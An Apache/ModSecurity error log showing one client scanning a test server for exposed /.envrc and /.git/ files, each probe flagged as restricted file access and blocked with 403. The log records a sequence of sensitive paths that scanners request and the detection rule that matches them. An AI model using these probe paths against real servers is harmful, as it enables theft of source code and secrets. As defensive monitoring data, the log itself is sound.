[Sun Mar 01 20:25:42.005755 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBwwAAAAU&quot;]
[Sun Mar 01 20:25:42.051462 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxQAAAAU&quot;]
[Sun Mar 01 20:25:42.051744 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxQAAAAU&quot;]
[Sun Mar 01 20:25:42.051931 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxQAAAAU&quot;]
[Sun Mar 01 20:25:42.074357 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxgAAAAU&quot;]
[Sun Mar 01 20:25:42.074601 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxgAAAAU&quot;]
[Sun Mar 01 20:25:42.074752 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxgAAAAU&quot;]
[Sun Mar 01 20:25:42.097035 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxwAAAAU&quot;]
[Sun Mar 01 20:25:42.097281 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxwAAAAU&quot;]
[Sun Mar 01 20:25:42.097433 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBxwAAAAU&quot;]
[Sun Mar 01 20:25:42.119739 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByAAAAAU&quot;]
[Sun Mar 01 20:25:42.119983 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByAAAAAU&quot;]
[Sun Mar 01 20:25:42.120154 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByAAAAAU&quot;]
[Sun Mar 01 20:25:42.142683 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByQAAAAU&quot;]
[Sun Mar 01 20:25:42.142939 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByQAAAAU&quot;]
[Sun Mar 01 20:25:42.143096 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txByQAAAAU&quot;]
[Sun Mar 01 20:25:42.165303 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBygAAAAU&quot;]
[Sun Mar 01 20:25:42.165554 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBygAAAAU&quot;]
[Sun Mar 01 20:25:42.165704 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBygAAAAU&quot;]
[Sun Mar 01 20:25:42.188149 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBywAAAAU&quot;]
[Sun Mar 01 20:25:42.188423 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBywAAAAU&quot;]
[Sun Mar 01 20:25:42.188584 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/COMMIT_EDITMSG&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBywAAAAU&quot;]
[Sun Mar 01 20:25:42.211090 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzAAAAAU&quot;]
[Sun Mar 01 20:25:42.211337 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzAAAAAU&quot;]
[Sun Mar 01 20:25:42.211491 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/description&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzAAAAAU&quot;]
[Sun Mar 01 20:25:42.233653 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzQAAAAU&quot;]
[Sun Mar 01 20:25:42.233925 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzQAAAAU&quot;]
[Sun Mar 01 20:25:42.234082 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/packed-refs&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzQAAAAU&quot;]
[Sun Mar 01 20:25:42.256292 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzgAAAAU&quot;]
[Sun Mar 01 20:25:42.256556 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzgAAAAU&quot;]
[Sun Mar 01 20:25:42.256706 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzgAAAAU&quot;]
[Sun Mar 01 20:25:42.279046 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzwAAAAU&quot;]
[Sun Mar 01 20:25:42.279291 2026] [:error] [pid 2400038] [client 185.177.72.30:53210] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks/pre-commit&quot;] [unique_id &quot;aaSStv6okG7BJFjW-txBzwAAAAU&quot;]
